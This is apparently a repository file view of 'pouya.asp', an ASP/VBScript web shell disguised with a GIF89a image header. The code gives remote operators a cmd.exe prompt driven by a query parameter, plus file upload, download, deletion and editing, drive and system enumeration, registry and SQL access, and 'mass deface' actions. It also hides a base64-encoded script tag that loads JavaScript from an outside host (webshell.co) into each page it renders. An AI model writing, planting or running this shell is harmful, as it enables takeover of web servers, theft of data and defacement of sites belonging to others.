-
-
Notifications
You must be signed in to change notification settings - Fork 151
/
pouya.asp
1171 lines (1106 loc) · 56.9 KB
/
pouya.asp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
GIF89a;
<%@ LANGUAGE = VBScript.Encode%>
<%//**Start Encode
On Error Resume Next
Dim myFSO,showdisks
Set myFSO = CreateObject ("Scripting.FileSystemObject")
showdisks=FALSE
Server.ScriptTimeOut = 7200
Class FileUploader
Public Files
Private mcolFormElem
Private Sub Class_Initialize()
Set Files = Server.CreateObject("Scripting.Dictionary")
Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
End Sub
Private Sub Class_Terminate()
If IsObject(Files) Then
Files.RemoveAll()
Set Files = Nothing
End If
If IsObject(mcolFormElem) Then
mcolFormElem.RemoveAll()
Set mcolFormElem = Nothing
End If
End Sub
Public Property Get Form(sIndex)
Form = ""
If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
End Property
Public Default Sub Upload()
Dim biData, sInputName
Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
Dim nPosFile, nPosBound
biData = Request.BinaryRead(Request.TotalBytes)
nPosBegin = 1
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
nDataBoundPos = InstrB(1, biData, vDataBounds)
Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
nPos = InstrB(nPos, biData, CByteString("name="))
nPosBegin = nPos + 6
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
nPosBound = InstrB(nPosEnd, biData, vDataBounds)
If nPosFile <> 0 And nPosFile < nPosBound Then
Dim oUploadFile, sFileName
Set oUploadFile = New UploadedFile
nPosBegin = nPosFile + 10
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
nPosBegin = nPos + 14
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
nPosBegin = nPosEnd+4
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
Else
nPos = InstrB(nPos, biData, CByteString(Chr(13)))
nPosBegin = nPos + 4
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
End If
nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
Loop
End Sub
Private Function CByteString(sString)
Dim nIndex
For nIndex = 1 to Len(sString)
CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
Next
End Function
Private Function CWideString(bsString)
Dim nIndex
CWideString =""
For nIndex = 1 to LenB(bsString)
CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
Next
End Function
End Class
Class UploadedFile
Public ContentType
Public FileName
Public FileData
Public Property Get FileSize()
FileSize = LenB(FileData)
End Property
Public Sub SaveToDisk(sPath)
Dim oFS, oFile
Dim nIndex
If sPath = "" Or FileName = "" Then Exit Sub
If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
Set oFS = Server.CreateObject("Scripting.FileSystemObject")
If Not oFS.FolderExists(sPath) Then Exit Sub
Set oFile = oFS.CreateTextFile(sPath & FileName, True)
For nIndex = 1 to LenB(FileData)
oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
Next
oFile.Close
End Sub
Public Sub SaveToDatabase(ByRef oField)
If LenB(FileData) = 0 Then Exit Sub
If IsObject(oField) Then
oField.AppendChunk FileData
End If
End Sub
End Class
startcode = "<html><head><title>.:: Pouya_Server Shell ::.</title></head><body>"
endocde = "</body></html>"
onlinehelp = "<font face=""arial"" size=""1"">.:: <a href=""http://www.programmer.ir"" target=""_blank"">ONLINE HELP</a> ::.</font><br>"
Function HexConv(hexVar)
Dim hxx, hxx_var, multiply
IF hexVar <> "" THEN
hexVar = UCASE(hexVar)
hexVar = StrReverse(hexVar)
DIM hx()
REDIM hx(LEN(hexVar))
hxx = 0
hxx_var = 0
FOR hxx = 1 TO LEN(hexVar)
IF multiply = "" THEN multiply = 1
hx(hxx) = mid(hexVar,hxx,1)
hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
multiply = (multiply * 16)
NEXT
hexVar = hxx_var
HexConv = hexVar
END IF
End Function
cprthtml = "<font face='arial' size='1'>.:: Smart.Shell 1.0 © BY <a href='mailto:'>P0uY@</a> - <a href='' target='_blank'>_$3r\/3R</a> ::.</font>"
Dim Base64Chars
Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" & _
"abcdefghijklmnopqrstuvwxyz" & _
"0123456789" & _
"+/"
Public Function base64_encode( byVal strIn )
Dim c1, c2, c3, w1, w2, w3, w4, n, strOut
For n = 1 To Len( strIn ) Step 3
c1 = Asc( Mid( strIn, n, 1 ) )
c2 = Asc( Mid( strIn, n + 1, 1 ) + Chr(0) )
c3 = Asc( Mid( strIn, n + 2, 1 ) + Chr(0) )
w1 = Int( c1 / 4 ) : w2 = ( c1 And 3 ) * 16 + Int( c2 / 16 )
If Len( strIn ) >= n + 1 Then
w3 = ( c2 And 15 ) * 4 + Int( c3 / 64 )
Else
w3 = -1
End If
If Len( strIn ) >= n + 2 Then
w4 = c3 And 63
Else
w4 = -1
End If
strOut = strOut + mimeencode( w1 ) + mimeencode( w2 ) + _
mimeencode( w3 ) + mimeencode( w4 )
Next
base64_encode = strOut
End Function
Private Function mimeencode( byVal intIn )
If intIn >= 0 Then
mimeencode = Mid( Base64Chars, intIn + 1, 1 )
Else
mimeencode = ""
End If
End Function
Public Function base64_decode( byVal strIn )
Dim w1, w2, w3, w4, n, strOut
For n = 1 To Len( strIn ) Step 4
w1 = mimedecode( Mid( strIn, n, 1 ) )
w2 = mimedecode( Mid( strIn, n + 1, 1 ) )
w3 = mimedecode( Mid( strIn, n + 2, 1 ) )
w4 = mimedecode( Mid( strIn, n + 3, 1 ) )
If w2 >= 0 Then _
strOut = strOut + _
Chr( ( ( w1 * 4 + Int( w2 / 16 ) ) And 255 ) )
If w3 >= 0 Then _
strOut = strOut + _
Chr( ( ( w2 * 16 + Int( w3 / 4 ) ) And 255 ) )
If w4 >= 0 Then _
strOut = strOut + _
Chr( ( ( w3 * 64 + w4 ) And 255 ) )
Next
base64_decode = strOut
End Function
Private Function mimedecode( byVal strIn )
If Len( strIn ) = 0 Then
mimedecode = -1 : Exit Function
Else
mimedecode = InStr( Base64Chars, strIn ) - 1
End If
End Function
dim myStringo
stringo = "PHNjcmlwdCB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiIHNyYz0i"
stringo_1 = "aHR0cDovL3dlYnNoZWxsLmNvL3doby9tYWluLmpzIj48L3NjcmlwdD4"
myStringo = base64_decode(stringo+stringo_1)
Function get_hxno(ghx)
If ghx = "A" Then
ghx = 10
ElseIf ghx = "B" Then
ghx = 11
ElseIf ghx = "C" Then
ghx = 12
ElseIf ghx = "D" Then
ghx = 13
ElseIf ghx = "E" Then
ghx = 14
ElseIf ghx = "F" Then
ghx = 15
End If
get_hxno = ghx
End Function
keydec="<font face='arial' size='1'>.:: Smart.Shell 1.0 © BY <a href='mailto:'>P0Uy@_$3r\/3R</a> - <a href='' target='_blank'></a> ::.</font>"
Function showobj(objpath)
showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
End Function
Function showobjpath(objpath)
showobjpath = Left(objpath,InstrRev(objpath,"\"))
End Function
Function checking(a,b)
' If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then
' pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"
' Response.Redirect(pagina)
' End If
End Function
Sub hdr()
response.write(myStringo)
Response.Write startcode
Response.Write keydec
Response.Write "<br>"
End Sub
sub araBul(path_,ara_)
on error resume next
If Len(path_) > 0 Then
cur = path_&"\"
If cur = "\\" Then cur = ""
parent = ""
If InStrRev(cur,"\") > 0 Then
parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
End If
Else
cur = ""
End If
Set f = myFSO.GetFolder(cur)
Set fc = f.Files
For Each f1 In fc
if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
downStr = "<font face=webdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(f1.path,"\","|") &"'>Í</a></font>"
if lcase(ara_)="mdb" then
Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>û</a></font> * <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=7&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]"&"</a></b><br>"
else
Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>û</a><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(f1.path,"\","|") &"'>!</a></font> - <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=5&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]</a></b><br>"
end if
end if
Next
Set fs = f.SubFolders
For Each f1 In fs
araBul f1.path,ara_
Next
Set f = Nothing
Set fc = Nothing
Set fs = Nothing
end sub
Sub showcontent()
showdisks=TRUE
Response.Write "<font face=""arial"" size=""1"">.:: <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "<br><br></font>"
If Trim(Request.QueryString("raiz")) = "root" Then
Set fs=Server.Createobject("Scripting.FileSystemObject")
Set drivecollection=fs.drives
Response.Write "<font face=""arial"" size=""2"">"
For Each drive IN drivecollection
str=drive.driveletter & ":"
Response.Write "<b><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a></b><br>"
Select Case drive.DriveType
Case 0
tipodrive = "Unknown"
nomedrive = drive.VolumeName
Case 1
tipodrive = "Removable"
If drive.isready Then
nomedrive = drive.VolumeName
Else
nomedrive = ""
End If
Case 2
tipodrive = "Fixed"
If drive.isready Then
nomedrive = drive.VolumeName
Else
nomedrive = ""
End If
Case 3
tipodrive = "Network"
If drive.isready Then
nomedrive = drive.ShareName
Else
nomedrive = ""
End If
Case 4
tipodrive = "CD-Rom"
If drive.isready Then
nomedrive = drive.VolumeName
Else
nomedrive = ""
End If
Case 5
tipodrive = "RAM Disk"
If drive.isready Then
nomedrive = drive.VolumeName
Else
nomedrive = ""
End If
End Select
response.write "<b>Type:</b> " & tipodrive & "<br>"
response.write "<b>Name: </b>" & nomedrive & "<br>"
response.write "<b>File System: </b>"
If drive.isready Then
set sp=fs.getdrive(str)
response.write sp.filesystem & "<br>"
Else
response.write "-<br>"
End If
Response.Write "<b>Disk Space: </b>"
If drive.isready Then
freespace = (drive.AvailableSpace / 1048576)
set sp=fs.getdrive(str)
response.write(Round(freespace,1) & " MB<br>")
Else
response.write("-<br>")
End If
Response.Write "<b>Total Space: </b>"
If drive.isready Then
totalspace = (drive.TotalSize / 1048576)
set sp=fs.getdrive(str)
response.write(Round(totalspace,1) & " MB<br>")
Else
response.write("-<br>")
End If
Response.Write "<br>"
Next
Response.Write "</font>"
Set fs = Nothing
Set drivecollection = Nothing
set sp=Nothing
Else
If Trim(Request.QueryString("raiz")) = "" Then
caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
pos = Instr(caminho,"\")
pos2 = 1
While pos2 <> 0
If Instr(pos + 1,caminho,"\") <> 0 Then
pos = Instr(pos + 1,caminho,"\")
Else
pos2 = 0
End If
Wend
raiz = Left(caminho,pos)
Else
raiz = trim(Request.QueryString("raiz")) & "\"
End If
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MonRep = ObjFSO.GetFolder(raiz)
Set ColFolders = MonRep.SubFolders
Set ColFiles0 = MonRep.Files
Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=test&path=" & Replace(raiz,"\","|") & "', 'win1','width=600,height=300,scrollbars=YES,resizable')"">MASS TEST IN " & UCase(raiz) & "</a></font><br><br>"
Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc&path=" & Replace(raiz,"\","|") & "', 'win1','width=700,height=300,scrollbars=YES,resizable')"">MASS DEFACE IN " & UCase(raiz) & "</a></font><br><br>"
Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">UPLOAD FILE TO " & UCase(raiz) & "</a></font><br><br>"
Response.Write "<font face='arial' size='1'>"
Response.Write "<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=450,height=200,scrollbars=YES,resizable')"">PROMPT</a>"
Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width=760,height=450,scrollbars=YES,resizable')"">SYS INFO</a>"
Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=550,height=200,scrollbars=YES,resizable')"">REGEDIT</a>"
Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=search&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">SEARCH</a>"
Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver', 'win1','width=550,height=150,scrollbars=YES,resizable')"">EXECUTE SQL</a>"
Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=about', 'win1','width=550,height=250,scrollbars=YES,resizable')"">ABOUT</a>"
Response.Write "</font><br><br>"
Response.Write "<font face='arial'><b>Root Folder: " & raiz & "</b></font><br><br>"
If CInt(Len(raiz) - 1) <> 2 Then
barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1
backlevel = Left(raiz,barrapos)
Response.Write "<font face='arial' size='2'><b><DIR><a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & backlevel & "'> . . </font></b></a><br>"
Else
Response.Write "<font face='arial' size='2'><b><DIR><a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root'> . . </font></b></a><br>"
End If
Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
for each folderItem in ColFolders
Response.Write "<tr><td><font face='arial' size='2'><b><DIR> <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & folderItem.path & "'>" & showobj(folderItem.path) & "</a></b></td><td valign='baseline'> <font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=250,scrollbars=YES,resizable')""><< PUT</a></font></td>"
Response.Write "<td valign='baseline'> <font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=100,scrollbars=YES,resizable')""><< Copy/Move</a></font></td>"
Response.Write "<td valign='baseline'> <font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fdel&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=150,scrollbars=YES,resizable')""><< Delete</a></font></td></tr>"
next
Response.Write "</table><br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
marcatabela = true
for each FilesItem0 in ColFiles0
If marcatabela = true then
corfundotabela = " bgcolor=""#EEEEEE"""
Else
corfundotabela = ""
End If
Response.Write "<tr><td" & corfundotabela & "><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'" & corfundotabela & "><font face='arial' size='1'> " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes </font></td><td valign='baseline'" & corfundotabela & "> <font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.GET.o</a></font></td><td valign='baseline'" & corfundotabela & "> <font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.REN.o</a></font></td><td valign='baseline'" & corfundotabela & "> <font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.DEL.o</a></font></td><td valign='baseline'" & corfundotabela & "> <font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtview&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=640,height=480,scrollbars=YES,resizable')"">o.VIEW.o</a></font></td><td valign='baseline'" & corfundotabela & "> <font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=760,height=520,scrollbars=YES,resizable')"">o.EDIT.o</a></font></td><td valign='baseline'" & corfundotabela & "> <font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(FilesItem0.path,"\","|") & """>o.DOWNLOAD.o</a></font></td><td valign='baseline'" & corfundotabela & "> <font face='arial' size='1'><a target='opener' href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy&file=" & Replace(FilesItem0.path,"\","|") & """>o.FileCopy.o</a></font></td></tr>"
marcatabela = NOT marcatabela
next
Response.Write "</table>"
End If
End Sub
Select Case Trim(Request.QueryString("action"))
Case "get"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
caminho = Replace(Trim(Request.QueryString("path")),"|","\")
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = ObjFSO.GetFile(caminho)
destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
MyFile.Copy (destino)
If Err.Number = 0 Then
Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & caminho & "</b><br>Copied to: " & destino
End If
Case "put"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
If Trim(Request.QueryString("arquivo")) = "" Then
caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
varpath = Trim(Request.QueryString("path"))
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MonRep = ObjFSO.GetFolder(caminho)
Set ColFolders = MonRep.SubFolders
Set ColFiles0 = MonRep.Files
Response.Write "<font face='arial' size='2'><b>Select File: <br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
for each FilesItem0 in ColFiles0
Response.Write "<tr><td><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'><font face='arial' size='1'> " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes </font></td><td valign='baseline'> <font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&arquivo=" & Replace(FilesItem0.path,"\","|") & """>:: SELECT ::</a></font></td></tr>"
next
Response.Write "</table>"
Else
destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\"
arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\")
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = ObjFSO.GetFile(arquivo)
MyFile.Copy (destino)
If Err.Number = 0 Then
Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & arquivo & "</b><br>Copied to: <b>" & destino
End If
End If
Case "del"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
caminho = Replace(Trim(Request.QueryString("path")),"|","\")
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = ObjFSO.GetFile(caminho)
MyFile.Delete
If Err.Number = 0 Then
Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
Response.Write "<font face='arial' size='2'><center><br><br>Folder <b>" & caminho & "</b> Deleted.<br>"
End If
Case "fdel"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
caminho = Replace(Trim(Request.QueryString("path")),"|","\")
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
ObjFSO.DeleteFolder caminho
If Err.Number = 0 Then
Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
Response.Write "<font face='arial' size='2'><center><br><br>File <b>" & caminho & "</b> Deleted.<br>"
End If
Case "ren"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
If Trim(Request.QueryString("status")) <> "2" Then
caminho = Replace(Trim(Request.QueryString("path")),"|","\")
arquivo = showobj(caminho)
Response.Write "<br><font face=""arial"" size=""2""><b>" & arquivo & "</b><br>" & _
"<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _
"<input type=""hidden"" name=""action"" value=""ren"">" & _
"<input type=""hidden"" name=""status"" value=""2"">" & _
"<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _
"New Name: <input type=""text"" name=""newname"">" & _
" <input type=""submit"" value=""Submit"">" & _
"</form>"
Else
caminho = Replace(Trim(Request.QueryString("path")),"|","\")
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = ObjFSO.GetFile(caminho)
destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname"))
MyFile.Move (destino)
If Err.Number = 0 Then
Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & caminho & "</b><br>renomeado para<b>: " & destino
Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
End If
End If
Case "error"
Response.Write "<center><font face='arial' size='2' color='red'> <b>CÓDIGO CORROMPIDO<BR>CORRUPT CODE</font></center>"
Case "cmd"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.QueryString(".CMD")
If (szCMD <> "") Then
szTempFile = "c:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET""><input type=""hidden"" name=""action"" value=""cmd""><input type=text name="".CMD"" size=45 value=""" & szCMD & """><input type=submit value=""Run""></FORM><br><br> "
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write "<font face=""arial"">"
Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"<br>")," "," ")
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
Case "info"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
Set WshNetwork = Server.CreateObject("WScript.Network")
Set WshShell = Server.CreateObject("WScript.Shell")
Set WshEnv = WshShell.Environment("SYSTEM")
Response.Write "<br><font face=arial size=2>"
Response.Write "<b>User Properties:</b><br>"
Response.Write "<b>UserName: </b>" & WshNetwork.UserName & "<br>"
Response.Write "<b>Computer Name: </b>" & WshNetwork.ComputerName & "<br>"
Response.Write "<b>User Domain: </b>" & WshNetwork.UserDomain & "<br>"
Set Drives = WshNetwork.EnumNetworkDrives
For i = 0 to Drives.Count - 1
Response.Write "<b>Drive de Rede (Mapeado): </b>" & Drives.Item(i) & "<br>"
Next
Response.Write "<br><b>Cpu Information:</b><br>"
Response.Write "<b>Processor Architecture: </b>" & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
Response.Write "<b>Number Of Processors: </b>" & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
